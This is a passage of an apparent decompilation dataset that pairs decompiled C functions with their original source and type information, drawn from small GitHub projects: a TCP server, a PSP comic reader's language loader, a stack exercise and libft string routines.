char *argv[])\n{\n int serv_sockfd; int new_sockfd;\n struct addrinfo flags;\n struct addrinfo *host_info;\n unsigned int addr_size;\n struct sockaddr_storage client;\n union pthread_attr_t attr;\n int i;\n if (argc < 2) {\n fprintf(stderr,\"Error: no port provided\\n\");\n exit(-1);\n }\n memset(&flags, 0, sizeof(flags));\n flags.ai_family = 0;\n flags.ai_socktype = SOCK_STREAM;\n flags.ai_flags = 0x0001;\n if (getaddrinfo(((void *)0), argv[1], &flags, &host_info) < 0)\n {\n perror(\"Couldn't read host info for socket start\");\n exit(-1);\n }\n serv_sockfd = socket(host_info->ai_family, host_info->ai_socktype, host_info->ai_protocol);\n if (serv_sockfd < 0)\n {\n perror(\"Error opening socket\");\n exit(-1);\n }\n if (bind(serv_sockfd, host_info->ai_addr, host_info->ai_addrlen) < 0)\n {\n perror(\"Error on binding\");\n exit(-1);\n }\n freeaddrinfo(host_info);\n pthread_attr_init(&attr);\n pthread_attr_setschedpolicy(&attr, 1);\n pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);\n listen(serv_sockfd, 5);\n addr_size = sizeof(client);\n i = 0;\n while (1)\n {\n if (i == 50)\n {\n i = 0;\n }\n new_sockfd = accept(serv_sockfd, (struct sockaddr *) &client, &addr_size);\n if (new_sockfd < 0)\n {\n perror(\"Error on accept\");\n exit(-1);\n }\n pthread_create(&threadid[i++], &attr, &threadworker, (void *) new_sockfd);\n sleep(0);\n }\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "serv_sockfd", "int" ], [ "new_sockfd", "int" ], [ "flags", "struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr { unsigned short sa_family; char sa_data[14]; } *ai_addr; char *ai_canonname; struct addrinfo *ai_next; }" ], [ "host_info", "struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr { unsigned short sa_family; char sa_data[14]; } *ai_addr; char *ai_canonname; struct addrinfo *ai_next; } *" ], [ "addr_size", "unsigned int" ], [ "client", "struct sockaddr_storage { unsigned short ss_family; char __ss_padding[-1]; unsigned long __ss_align; }" ], [ "attr", "union pthread_attr_t { char __size[56]; long __align; }" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [ "struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr *ai_addr; char *ai_canonname; struct addrinfo *ai_next; }", "struct sockaddr_storage { unsigned short ss_family; char __ss_padding[-1]; unsigned long __ss_align; }", "union pthread_attr_t { char __size[56]; long __align; }", "struct sockaddr { unsigned short sa_family; char sa_data[14]; }" ], "binary_hash": "de9833307106b91fc786c0d3254a85d2b1cc91f909ba3eae37fec32e8f13f406" } ]
f1329e334a69ea1384306e02376ef8634fc33ce50b4d2695715fd1446c75803f
yoshi314/pspcomic
[ [ "get_message", "->", "load_language" ], [ "load_language", "->", "unload_language", "get_message" ], [ "unload_language", "->", "load_language" ], [ "get_loaded_language_name", "->" ] ]
[]
[ { "name": "get_message", "canonical_name": "func0", "repo": "yoshi314/pspcomic", "decompiled_code": "char *__fastcall get_message(int a1)\n{\nif ( a1 > 80 )\nreturn 0LL;\nif ( !loaded_language || !*(_QWORD *)loaded_language )\nreturn (&en_messages)[a1];\nif ( *(_QWORD *)(*(_QWORD *)loaded_language + 8LL * a1) )\nreturn *(char **)(*(_QWORD *)loaded_language + 8LL * a1);\nreturn (&en_messages)[a1];\n}\n", "canonical_decompiled_code": "char *__fastcall func0(int a1)\n{\nif ( a1 > 80 )\nreturn 0LL;\nif ( !loaded_language || !*(_QWORD *)loaded_language )\nreturn (&en_messages)[a1];\nif ( *(_QWORD *)(*(_QWORD *)loaded_language + 8LL * a1) )\nreturn *(char **)(*(_QWORD *)loaded_language + 8LL * a1);\nreturn (&en_messages)[a1];\n}", "original_code": "const char* get_message(int mesg_number) {\n if(mesg_number >= mesg_end) return ((void *)0);\n return ((loaded_language&&loaded_language->messages)?\n (loaded_language->messages[mesg_number]?\n loaded_language->messages[mesg_number]:en_messages[mesg_number]):\n en_messages[mesg_number]);\n}", "canonical_original_code": "char *get_message(int mesg_number) {\n if(mesg_number >= mesg_end) return ((void *)0);\n return ((loaded_language&&loaded_language->messages)?\n (loaded_language->messages[mesg_number]?\n loaded_language->messages[mesg_number]:en_messages[mesg_number]):\n en_messages[mesg_number]);\n}", "variable_types": [ [ "mesg_number", "int" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "f1329e334a69ea1384306e02376ef8634fc33ce50b4d2695715fd1446c75803f" }, { "name": "load_language", "canonical_name": "func1", "repo": "yoshi314/pspcomic", "decompiled_code": "__int64 __fastcall load_language(const char *a1)\n{\n__int64 result; // rax\nvoid *v2; // rsi\nchar *v3; // rax\n__int64 v4; // rdx\n__int64 v5; // rcx\n__int64 v6; // r8\n__int64 v7; // r9\nchar *v8; // rax\nchar *v9; // rax\n__int64 v10; // rax\nchar *v11; // rax\n__int64 v12; // [rsp+10h] [rbp-30h] BYREF\nvoid *v13; // [rsp+30h] [rbp-10h]\nvoid *ptr; // [rsp+38h] [rbp-8h]\n\nif ( !a1 )\nreturn 0LL;\nif ( !strcmp(a1, \"builtin\") )\n{\nif ( loaded_language )\nunload_language();\nresult = 1LL;\n}\nelse\n{\nptr = malloc(0x18uLL);\nv2 = ptr;\nif ( (unsigned __int8)get_language_ranges(a1, ptr) )\n{\nif ( ptr )\nfree(ptr);\nv3 = get_message(9);\nerror_message(v3);\nresult = 0LL;\n}\nelse\n{\nget_font_ranges(&v12);\nif ( (unsigned __int8)ranges_compatible(&v12, v2, v4, v5, v6, v7) )\n{\nv13 = malloc(0x10uLL);\nif ( v13 )\n{\n*((_QWORD *)v13 + 1) = ptr;\nv10 = get_language_messages(a1);\n*(_QWORD *)v13 = v10;\nif ( *(_QWORD *)v13 )\n{\nif ( loaded_language )\nunload_language();\nloaded_language = v13;\nloaded_language_name = (void *)make_string(a1);\nresult = 1LL;\n}\nelse\n{\nfree(*((void **)ptr + 1));\nfree(*((void **)ptr + 2));\nfree(ptr);\nfree(v13);\nv11 = get_message(9);\nerror_message(v11);\nresult = 0LL;\n}\n}\nelse\n{\nfree(*((void **)ptr + 1));\nfree(*((void **)ptr + 2));\nfree(ptr);\nv9 = get_message(9);\nerror_message(v9);\nresult = 0LL;\n}\n}\nelse\n{\nfree(*((void **)ptr + 1));\nfree(*((void **)ptr + 2));\nfree(ptr);\nv8 = get_message(11);\nerror_message(v8);\nresult = 0LL;\n}\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(const char *a1)\n{\n__int64 result; // rax\nvoid *v2; // rsi\nchar *v3; // rax\n__int64 v4; // rdx\n__int64 v5; // rcx\n__int64 v6; // r8\n__int64 v7; // r9\nchar *v8; // rax\nchar *v9; // rax\n__int64 v10; // rax\nchar *v11; // rax\n__int64 v12; // [rsp+10h] [rbp-30h] BYREF\nvoid *v13; // [rsp+30h] [rbp-10h]\nvoid *ptr; // [rsp+38h] [rbp-8h]\n\nif ( !a1 )\nreturn 0LL;\nif ( !strcmp(a1, \"builtin\") )\n{\nif ( loaded_language )\nfunc2();\nresult = 1LL;\n}\nelse\n{\nptr = malloc(0x18uLL);\nv2 = ptr;\nif ( (unsigned __int8)get_language_ranges(a1, ptr) )\n{\nif ( ptr )\nfree(ptr);\nv3 = func0(9);\nerror_message(v3);\nresult = 0LL;\n}\nelse\n{\nget_font_ranges(&v12);\nif ( (unsigned __int8)ranges_compatible(&v12, v2, v4, v5, v6, v7) )\n{\nv13 = malloc(0x10uLL);\nif ( v13 )\n{\n*((_QWORD *)v13 + 1) = ptr;\nv10 = get_language_messages(a1);\n*(_QWORD *)v13 = v10;\nif ( *(_QWORD *)v13 )\n{\nif ( loaded_language )\nfunc2();\nloaded_language = v13;\nloaded_language_name = (void *)make_string(a1);\nresult = 1LL;\n}\nelse\n{\nfree(*((void **)ptr + 1));\nfree(*((void **)ptr + 2));\nfree(ptr);\nfree(v13);\nv11 = func0(9);\nerror_message(v11);\nresult = 0LL;\n}\n}\nelse\n{\nfree(*((void **)ptr + 1));\nfree(*((void **)ptr + 2));\nfree(ptr);\nv9 = func0(9);\nerror_message(v9);\nresult = 0LL;\n}\n}\nelse\n{\nfree(*((void **)ptr + 1));\nfree(*((void **)ptr + 2));\nfree(ptr);\nv8 = func0(11);\nerror_message(v8);\nresult = 0LL;\n}\n}\n}\nreturn result;\n}", "original_code": "char load_language(const char *lang) {\n if(!lang) return 0;\n if(strcmp(lang,\"builtin\") == 0) {\n if(loaded_language) unload_language();\n return 1;\n }\n char_ranges *ranges = malloc(sizeof(char_ranges));\n if(get_language_ranges(lang,ranges) != 0) {\n if(ranges) free(ranges);\n error_message(get_message(mesg_load_language_error));\n return 0;\n }\n if(!ranges_compatible(get_font_ranges(),*ranges)) {\n free(ranges->range_begins);\n free(ranges->range_ends);\n free(ranges);\n error_message(get_message(mesg_theme_too_short_error));\n return 0;\n }\n language *new_language = malloc(sizeof(language));\n if(!new_language) {\n free(ranges->range_begins);\n free(ranges->range_ends);\n free(ranges);\n error_message(get_message(mesg_load_language_error));\n return 0;\n }\n new_language->ranges = ranges;\n new_language->messages = get_language_messages(lang);\n if(!new_language->messages) {\n free(ranges->range_begins);\n free(ranges->range_ends);\n free(ranges);\n free(new_language);\n error_message(get_message(mesg_load_language_error));\n return 0;\n }\n if(loaded_language) unload_language();\n loaded_language = new_language;\n loaded_language_name = make_string(lang);\n return 1;\n}", "canonical_original_code": "char load_language(char *lang) {\n if(!lang) return 0;\n if(strcmp(lang,\"builtin\") == 0) {\n if(loaded_language) unload_language();\n return 1;\n }\n struct char_ranges *ranges = malloc(sizeof(char_ranges));\n if(get_language_ranges(lang,ranges) != 0) {\n if(ranges) free(ranges);\n error_message(get_message(mesg_load_language_error));\n return 0;\n }\n if(!ranges_compatible(get_font_ranges(),*ranges)) {\n free(ranges->range_begins);\n free(ranges->range_ends);\n free(ranges);\n error_message(get_message(mesg_theme_too_short_error));\n return 0;\n }\n struct language *new_language = malloc(sizeof(language));\n if(!new_language) {\n free(ranges->range_begins);\n free(ranges->range_ends);\n free(ranges);\n error_message(get_message(mesg_load_language_error));\n return 0;\n }\n new_language->ranges = ranges;\n new_language->messages = get_language_messages(lang);\n if(!new_language->messages) {\n free(ranges->range_begins);\n free(ranges->range_ends);\n free(ranges);\n free(new_language);\n error_message(get_message(mesg_load_language_error));\n return 0;\n }\n if(loaded_language) unload_language();\n loaded_language = new_language;\n loaded_language_name = make_string(lang);\n return 1;\n}", "variable_types": [ [ "lang", "char *" ], [ "ranges", "struct char_ranges { unsigned int num_ranges; unsigned int *range_begins; unsigned int *range_ends; } *" ], [ "new_language", "struct language { char **messages; struct char_ranges { unsigned int num_ranges; unsigned int *range_begins; unsigned int *range_ends; } *ranges; } *" ] ], "return_type": "char", "user_defined_types": [ "struct char_ranges { unsigned int num_ranges; unsigned int *range_begins; unsigned int *range_ends; }", "struct language { char **messages; struct char_ranges *ranges; }" ], "binary_hash": "f1329e334a69ea1384306e02376ef8634fc33ce50b4d2695715fd1446c75803f" }, { "name": "unload_language", "canonical_name": "func2", "repo": "yoshi314/pspcomic", "decompiled_code": "void unload_language()\n{\nunsigned int i; // [rsp+Ch] [rbp-4h]\n\nif ( loaded_language_name )\n{\nfree(loaded_language_name);\nloaded_language_name = 0LL;\n}\nif ( loaded_language )\n{\nif ( *(_QWORD *)loaded_language )\n{\nfor ( i = 0; i <= 0x50; ++i )\n{\nif ( *(_QWORD *)(*(_QWORD *)loaded_language + 8LL * i) )\nfree(*(void **)(*(_QWORD *)loaded_language + 8LL * i));\n}\nfree(*(void **)loaded_language);\n}\nif ( *((_QWORD *)loaded_language + 1) )\n{\nif ( *(_QWORD *)(*((_QWORD *)loaded_language + 1) + 8LL) )\nfree(*(void **)(*((_QWORD *)loaded_language + 1) + 8LL));\nif ( *(_QWORD *)(*((_QWORD *)loaded_language + 1) + 16LL) )\nfree(*(void **)(*((_QWORD *)loaded_language + 1) + 16LL));\nfree(*((void **)loaded_language + 1));\n}\nfree(loaded_language);\nloaded_language = 0LL;\n}\n}\n", "canonical_decompiled_code": "void func2()\n{\nunsigned int i; // [rsp+Ch] [rbp-4h]\n\nif ( loaded_language_name )\n{\nfree(loaded_language_name);\nloaded_language_name = 0LL;\n}\nif ( loaded_language )\n{\nif ( *(_QWORD *)loaded_language )\n{\nfor ( i = 0; i <= 0x50; ++i )\n{\nif ( *(_QWORD *)(*(_QWORD *)loaded_language + 8LL * i) )\nfree(*(void **)(*(_QWORD *)loaded_language + 8LL * i));\n}\nfree(*(void **)loaded_language);\n}\nif ( *((_QWORD *)loaded_language + 1) )\n{\nif ( *(_QWORD *)(*((_QWORD *)loaded_language + 1) + 8LL) )\nfree(*(void **)(*((_QWORD *)loaded_language + 1) + 8LL));\nif ( *(_QWORD *)(*((_QWORD *)loaded_language + 1) + 16LL) )\nfree(*(void **)(*((_QWORD *)loaded_language + 1) + 16LL));\nfree(*((void **)loaded_language + 1));\n}\nfree(loaded_language);\nloaded_language = 0LL;\n}\n}", "original_code": "void unload_language() {\n if(loaded_language_name) {\n free(loaded_language_name);\n loaded_language_name = ((void *)0);\n }\n if(!loaded_language) return;\n if(loaded_language->messages) {\n unsigned i;\n for(i = 0; i < mesg_end; ++i) {\n if(loaded_language->messages[i]) free(loaded_language->messages[i]);\n }\n free(loaded_language->messages);\n }\n if(loaded_language->ranges) {\n if(loaded_language->ranges->range_begins) free(loaded_language->ranges->range_begins);\n if(loaded_language->ranges->range_ends) free(loaded_language->ranges->range_ends);\n free(loaded_language->ranges);\n }\n free(loaded_language);\n loaded_language = ((void *)0);\n}", "canonical_original_code": "void unload_language() {\n if(loaded_language_name) {\n free(loaded_language_name);\n loaded_language_name = ((void *)0);\n }\n if(!loaded_language) return;\n if(loaded_language->messages) {\n unsigned int i;\n for(i = 0; i < mesg_end; ++i) {\n if(loaded_language->messages[i]) free(loaded_language->messages[i]);\n }\n free(loaded_language->messages);\n }\n if(loaded_language->ranges) {\n if(loaded_language->ranges->range_begins) free(loaded_language->ranges->range_begins);\n if(loaded_language->ranges->range_ends) free(loaded_language->ranges->range_ends);\n free(loaded_language->ranges);\n }\n free(loaded_language);\n loaded_language = ((void *)0);\n}", "variable_types": [ [ "i", "unsigned int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "f1329e334a69ea1384306e02376ef8634fc33ce50b4d2695715fd1446c75803f" }, { "name": "get_loaded_language_name", "canonical_name": "func3", "repo": "yoshi314/pspcomic", "decompiled_code": "const char *get_loaded_language_name()\n{\nconst char *result; // rax\n\nif ( loaded_language_name )\nresult = (const char *)loaded_language_name;\nelse\nresult = \"builtin\";\nreturn result;\n}\n", "canonical_decompiled_code": "const char *func3()\n{\nconst char *result; // rax\n\nif ( loaded_language_name )\nresult = (const char *)loaded_language_name;\nelse\nresult = \"builtin\";\nreturn result;\n}", "original_code": "const char* get_loaded_language_name() {\n if(loaded_language_name) return loaded_language_name;\n return \"builtin\";\n}", "canonical_original_code": "char *get_loaded_language_name() {\n if(loaded_language_name) return loaded_language_name;\n return \"builtin\";\n}", "variable_types": [], "return_type": "char *", "user_defined_types": [], "binary_hash": "f1329e334a69ea1384306e02376ef8634fc33ce50b4d2695715fd1446c75803f" } ]
c77d28497ac964874e58cff6251a8c069ae2040b5f53150f98259d0d1156f6b4
sudermannx/estructurasTeclaParra
[ [ "fvacia", "->" ], [ "fcreaP", "->" ], [ "fpush", "->" ], [ "ftop", "->" ], [ "destruye", "->" ] ]
[]
[ { "name": "fvacia", "canonical_name": "func0", "repo": "sudermannx/estructurasTeclaParra", "decompiled_code": "_BOOL8 __fastcall fvacia(_DWORD *a1)\n{\nreturn *a1 == 0;\n}\n", "canonical_decompiled_code": "_BOOL8 __fastcall func0(_DWORD *a1)\n{\nreturn *a1 == 0;\n}", "original_code": "int\n fvacia(Pila * P)\n {\n return (P->tope==0);\n }", "canonical_original_code": "int fvacia(struct pila *P)\n {\n return (P->tope==0);\n }", "variable_types": [ [ "P", "struct pila { int tope; char *eltos; int size; } *" ] ], "return_type": "int", "user_defined_types": [ "struct pila { int tope; char *eltos; int size; }" ], "binary_hash": "c77d28497ac964874e58cff6251a8c069ae2040b5f53150f98259d0d1156f6b4" }, { "name": "fcreaP", "canonical_name": "func1", "repo": "sudermannx/estructurasTeclaParra", "decompiled_code": "__int64 __fastcall fcreaP(int a1)\n{\n__int64 result; // rax\n_QWORD *v2; // [rsp+18h] [rbp-10h]\n\nv2 = malloc(0x18uLL);\nif ( v2 )\n{\nv2[1] = malloc(a1);\nif ( v2[1] )\n{\n*((_DWORD *)v2 + 4) = a1;\n*(_DWORD *)v2 = 0;\nputs(\"\\n\\t<<pila hecha>>\");\n}\nelse\n{\nputs(\"\\n\\t<<fallo malloc nvo->eltos>>\");\n}\nresult = (__int64)v2;\n}\nelse\n{\nputs(\"\\n\\t<<fallo malloc nvo>>\");\nresult = -1LL;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(int a1)\n{\n__int64 result; // rax\n_QWORD *v2; // [rsp+18h] [rbp-10h]\n\nv2 = malloc(0x18uLL);\nif ( v2 )\n{\nv2[1] = malloc(a1);\nif ( v2[1] )\n{\n*((_DWORD *)v2 + 4) = a1;\n*(_DWORD *)v2 = 0;\nputs(\"\\n\\t<<pila hecha>>\");\n}\nelse\n{\nputs(\"\\n\\t<<fallo malloc nvo->eltos>>\");\n}\nresult = (__int64)v2;\n}\nelse\n{\nputs(\"\\n\\t<<fallo malloc nvo>>\");\nresult = -1LL;\n}\nreturn result;\n}", "original_code": "Pila *\n fcreaP( int size )\n {\n Pila * nvo;\n nvo = ( Pila * ) malloc ( sizeof ( Pila ) * 1 );\n if(nvo == ((void *)0))\n {\n puts(\"\\n\\t<<fallo malloc nvo>>\");\n return( (Pila *)-1);\n }\n nvo -> eltos = ( char * ) malloc ( sizeof( char ) * size );\n if ( nvo -> eltos == ((void *)0) )\n puts(\"\\n\\t<<fallo malloc nvo->eltos>>\");\n else\n {\n nvo -> size = size;\n nvo -> tope = 0;\n puts(\"\\n\\t<<pila hecha>>\");\n }\n return nvo;\n }", "canonical_original_code": "struct pila *fcreaP(int size)\n {\n struct pila *nvo;\n nvo = ( struct pila * ) malloc ( sizeof ( Pila ) * 1 );\n if(nvo == ((void *)0))\n {\n puts(\"\\n\\t<<fallo malloc nvo>>\");\n return( (struct pila *)-1);\n }\n nvo -> eltos = ( char * ) malloc ( sizeof( char ) * size );\n if ( nvo -> eltos == ((void *)0) )\n puts(\"\\n\\t<<fallo malloc nvo->eltos>>\");\n else\n {\n nvo -> size = size;\n nvo -> tope = 0;\n puts(\"\\n\\t<<pila hecha>>\");\n }\n return nvo;\n }", "variable_types": [ [ "size", "int" ], [ "nvo", "struct pila { int tope; char *eltos; int size; } *" ] ], "return_type": "struct pila { int tope; char *eltos; int size; } *", "user_defined_types": [ "struct pila { int tope; char *eltos; int size; }" ], "binary_hash": "c77d28497ac964874e58cff6251a8c069ae2040b5f53150f98259d0d1156f6b4" }, { "name": "fpush", "canonical_name": "func2", "repo": "sudermannx/estructurasTeclaParra", "decompiled_code": "__int64 __fastcall fpush(__int64 a1, char a2)\n{\n__int64 result; // rax\n\nif ( *(_DWORD *)a1 == *(_DWORD *)(a1 + 16) - 1 )\n{\nputs(\"\\n\\t<<la pila esta llena>>\");\nresult = 0LL;\n}\nelse\n{\n*(_BYTE *)((int)(*(_DWORD *)a1)++ + *(_QWORD *)(a1 + 8)) = a2;\nprintf(\"\\n\\t<<se grabo un elemento %c en la pila>>\", (unsigned int)a2);\nresult = a1;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1, char a2)\n{\n__int64 result; // rax\n\nif ( *(_DWORD *)a1 == *(_DWORD *)(a1 + 16) - 1 )\n{\nputs(\"\\n\\t<<la pila esta llena>>\");\nresult = 0LL;\n}\nelse\n{\n*(_BYTE *)((int)(*(_DWORD *)a1)++ + *(_QWORD *)(a1 + 8)) = a2;\nprintf(\"\\n\\t<<se grabo un elemento %c en la pila>>\", (unsigned int)a2);\nresult = a1;\n}\nreturn result;\n}", "original_code": "Pila *\n fpush(Pila * P, char dato)\n {\n if(P -> tope == P -> size-1)\n {\n puts(\"\\n\\t<<la pila esta llena>>\");\n return (Pila *) ((void *)0);\n }\n else\n {\n P -> eltos[P->tope]=dato;\n P -> tope = P -> tope+1;\n printf(\"\\n\\t<<se grabo un elemento %c en la pila>>\",dato);\n return P;\n }\n }", "canonical_original_code": "struct pila *fpush(struct pila *P, char dato)\n {\n if(P -> tope == P -> size-1)\n {\n puts(\"\\n\\t<<la pila esta llena>>\");\n return (struct pila *) ((void *)0);\n }\n else\n {\n P -> eltos[P->tope]=dato;\n P -> tope = P -> tope+1;\n printf(\"\\n\\t<<se grabo un elemento %c en la pila>>\",dato);\n return P;\n }\n }", "variable_types": [ [ "P", "struct pila *" ], [ "dato", "char" ] ], "return_type": "struct pila { int tope; char *eltos; int size; } *", "user_defined_types": [ "struct pila { int tope; char *eltos; int size; }" ], "binary_hash": "c77d28497ac964874e58cff6251a8c069ae2040b5f53150f98259d0d1156f6b4" }, { "name": "ftop", "canonical_name": "func3", "repo": "sudermannx/estructurasTeclaParra", "decompiled_code": "__int64 __fastcall ftop(int *a1)\n{\nreturn *(unsigned __int8 *)(*((_QWORD *)a1 + 1) + *a1 - 1LL);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(int *a1)\n{\nreturn *(unsigned __int8 *)(*((_QWORD *)a1 + 1) + *a1 - 1LL);\n}", "original_code": "char\n ftop(Pila * P)\n {\n return P->eltos[P->tope-1];\n }", "canonical_original_code": "char ftop(struct pila *P)\n {\n return P->eltos[P->tope-1];\n }", "variable_types": [ [ "P", "struct pila { int tope; char *eltos; int size; } *" ] ], "return_type": "char", "user_defined_types": [ "struct pila { int tope; char *eltos; int size; }" ], "binary_hash": "c77d28497ac964874e58cff6251a8c069ae2040b5f53150f98259d0d1156f6b4" }, { "name": "destruye", "canonical_name": "func4", "repo": "sudermannx/estructurasTeclaParra", "decompiled_code": "int __fastcall destruye(void **a1)\n{\nfree(a1[1]);\nfree(a1);\nreturn puts(\"\\n\\t<<memoria libre :) >>\\n\");\n}\n", "canonical_decompiled_code": "int __fastcall func4(void **a1)\n{\nfree(a1[1]);\nfree(a1);\nreturn puts(\"\\n\\t<<memoria libre :) >>\\n\");\n}", "original_code": "void\n destruye(Pila *P)\n {\n free(P->eltos);\n free(P);\n puts(\"\\n\\t<<memoria libre :) >>\\n\");\n }", "canonical_original_code": "void destruye(struct pila *P)\n {\n free(P->eltos);\n free(P);\n puts(\"\\n\\t<<memoria libre :) >>\\n\");\n }", "variable_types": [ [ "P", "struct pila { int tope; char *eltos; int size; } *" ] ], "return_type": "void", "user_defined_types": [ "struct pila { int tope; char *eltos; int size; }" ], "binary_hash": "c77d28497ac964874e58cff6251a8c069ae2040b5f53150f98259d0d1156f6b4" } ]
0897180dc25a3c7464c3336db00baee1126646b87906372f88dd16f321fa9783
iTzDyms/libft
[ [ "ft_memset", "->" ] ]
[]
[ { "name": "ft_memset", "canonical_name": "func0", "repo": "iTzDyms/libft", "decompiled_code": "__int64 __fastcall ft_memset(__int64 a1, char a2, unsigned __int64 a3)\n{\nunsigned __int64 i; // [rsp+20h] [rbp-8h]\n\nfor ( i = 0LL; i < a3; ++i )\n*(_BYTE *)(a1 + i) = a2;\nreturn a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, char a2, unsigned __int64 a3)\n{\nunsigned __int64 i; // [rsp+20h] [rbp-8h]\n\nfor ( i = 0LL; i < a3; ++i )\n*(_BYTE *)(a1 + i) = a2;\nreturn a1;\n}", "original_code": "void *ft_memset(void *b, int c, size_t len)\n{\n unsigned char *d;\n size_t i;\n i = 0;\n d = b;\n while (i < len)\n {\n d[i] = (unsigned char)c;\n i++;\n }\n return (b);\n}", "canonical_original_code": "void *ft_memset(void *b, int c, unsigned long len)\n{\n unsigned char *d;\n unsigned long i;\n i = 0;\n d = b;\n while (i < len)\n {\n d[i] = (unsigned char)c;\n i++;\n }\n return (b);\n}", "variable_types": [ [ "b", "void *" ], [ "c", "int" ], [ "len", "unsigned long" ], [ "d", "unsigned char *" ], [ "i", "unsigned long" ] ], "return_type": "void *", "user_defined_types": [], "binary_hash": "0897180dc25a3c7464c3336db00baee1126646b87906372f88dd16f321fa9783" } ]
0a78f7680f201c313e25ad16504f009c2b2552a349a7f059046fd2676c6d9f68
iTzDyms/libft
[ [ "ft_strtrim", "->" ] ]
[]
[ { "name": "ft_strtrim", "canonical_name": "func0", "repo": "iTzDyms/libft", "decompiled_code": "__int64 __fastcall ft_strtrim(__int64 a1)\n{\n__int64 result; // rax\n__int64 v2; // [rsp+10h] [rbp-20h]\n__int64 v3; // [rsp+18h] [rbp-18h]\n__int64 v4; // [rsp+20h] [rbp-10h]\n__int64 i; // [rsp+28h] [rbp-8h]\n\nif ( !a1 )\nreturn 0LL;\nv4 = 0LL;\nv3 = 0LL;\nwhile ( *(_BYTE *)(a1 + v4) == 32 || *(_BYTE *)(a1 + v4) == 10 || *(_BYTE *)(a1 + v4) == 9 )\n++v4;\nfor ( i = v4; *(_BYTE *)(a1 + i); ++i )\n{\nif ( *(_BYTE *)(a1 + i) != 32 && *(_BYTE *)(a1 + i) != 10 && *(_BYTE *)(a1 + i) != 9 )\nv3 = i - v4 + 1;\n}\nv2 = ft_strsub(a1, (unsigned int)v4, v3);\nif ( v2 )\nresult = v2;\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1)\n{\n__int64 result; // rax\n__int64 v2; // [rsp+10h] [rbp-20h]\n__int64 v3; // [rsp+18h] [rbp-18h]\n__int64 v4; // [rsp+20h] [rbp-10h]\n__int64 i; // [rsp+28h] [rbp-8h]\n\nif ( !a1 )\nreturn 0LL;\nv4 = 0LL;\nv3 = 0LL;\nwhile ( *(_BYTE *)(a1 + v4) == 32 || *(_BYTE *)(a1 + v4) == 10 || *(_BYTE *)(a1 + v4) == 9 )\n++v4;\nfor ( i = v4; *(_BYTE *)(a1 + i); ++i )\n{\nif ( *(_BYTE *)(a1 + i) != 32 && *(_BYTE *)(a1 + i) != 10 && *(_BYTE *)(a1 + i) != 9 )\nv3 = i - v4 + 1;\n}\nv2 = ft_strsub(a1, (unsigned int)v4, v3);\nif ( v2 )\nresult = v2;\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "char *ft_strtrim(char const *s)\n{\n size_t i;\n size_t start;\n size_t len;\n char *str;\n if (s == ((void *)0))\n return (((void *)0));\n start = 0;\n len = 0;\n while (s[start] == ' ' || s[start] == '\\n' || s[start] == '\\t')\n start++;\n i = start;\n while (s[i] != '\\0')\n {\n if (s[i] != ' ' && s[i] != '\\n' && s[i] != '\\t')\n len = (i - (start - 1));\n i++;\n }\n str = ft_strsub(s, start, len);\n if (str == ((void *)0))\n return (((void *)0));\n return (str);\n}", "canonical_original_code": "char *ft_strtrim(char *s)\n{\n unsigned long i;\n unsigned long start;\n unsigned long len;\n char *str;\n if (s == ((void *)0))\n return (((void *)0));\n start = 0;\n len = 0;\n while (s[start] == ' ' || s[start] == '\\n' || s[start] == '\\t')\n start++;\n i = start;\n while (s[i] != '\\0')\n {\n if (s[i] != ' ' && s[i] != '\\n' && s[i] != '\\t')\n len = (i - (start - 1));\n i++;\n }\n str = ft_strsub(s, start, len);\n if (str == ((void *)0))\n return (((void *)0));\n return (str);\n}", "variable_types": [ [ "s", "char *" ], [ "i", "unsigned long" ], [ "start", "unsigned long" ], [ "len", "unsigned long" ], [ "str", "char *" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "0a78f7680f201c313e25ad16504f009c2b2552a349a7f059046fd2676c6d9f68" } ]
19e45855ec407a0b3b9f54bf16c6dce383107a15d0148e86029c96f36372b2e3
iTzDyms/libft
[ [ "ft_strchr", "->" ] ]
[]
[ { "name": "ft_strchr", "canonical_name": "func0", "repo": "iTzDyms/libft", "decompiled_code": "__int64 __fastcall ft_strchr(__int64 a1, int a2)\n{\nint i; // [rsp+14h] [rbp-8h]\nint v4; // [rsp+18h] [rbp-4h]\n\nv4 = 0;\nfor ( i = 0; *(_BYTE *)(i + a1); ++i )\n;\nif ( !a2 )\nreturn i + a1;\nwhile ( v4 < i )\n{\nif ( a2 == *(char *)(v4 + a1) )\nreturn v4 + a1;\n++v4;\n}\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, int a2)\n{\nint i; // [rsp+14h] [rbp-8h]\nint v4; // [rsp+18h] [rbp-4h]\n\nv4 = 0;\nfor ( i = 0; *(_BYTE *)(i + a1); ++i )\n;\nif ( !a2 )\nreturn i + a1;\nwhile ( v4 < i )\n{\nif ( a2 == *(char *)(v4 + a1) )\nreturn v4 + a1;\n++v4;\n}\nreturn 0LL;\n}", "original_code": "char *ft_strchr(const char *src, int c)\n{\n int i;\n int l;\n i = 0;\n l = 0;\n while (src[l] != '\\0')\n l++;\n if (c == 0)\n return ((char *)&src[l]);\n while (i < l)\n {\n if (src[i] == c)\n return ((char *)&src[i]);\n i++;\n }\n return (((void *)0));\n}", "canonical_original_code": "char *ft_strchr(char *src, int c)\n{\n int i;\n int l;\n i = 0;\n l = 0;\n while (src[l] != '\\0')\n l++;\n if (c == 0)\n return ((char *)&src[l]);\n while (i < l)\n {\n if (src[i] == c)\n return ((char *)&src[i]);\n i++;\n }\n return (((void *)0));\n}", 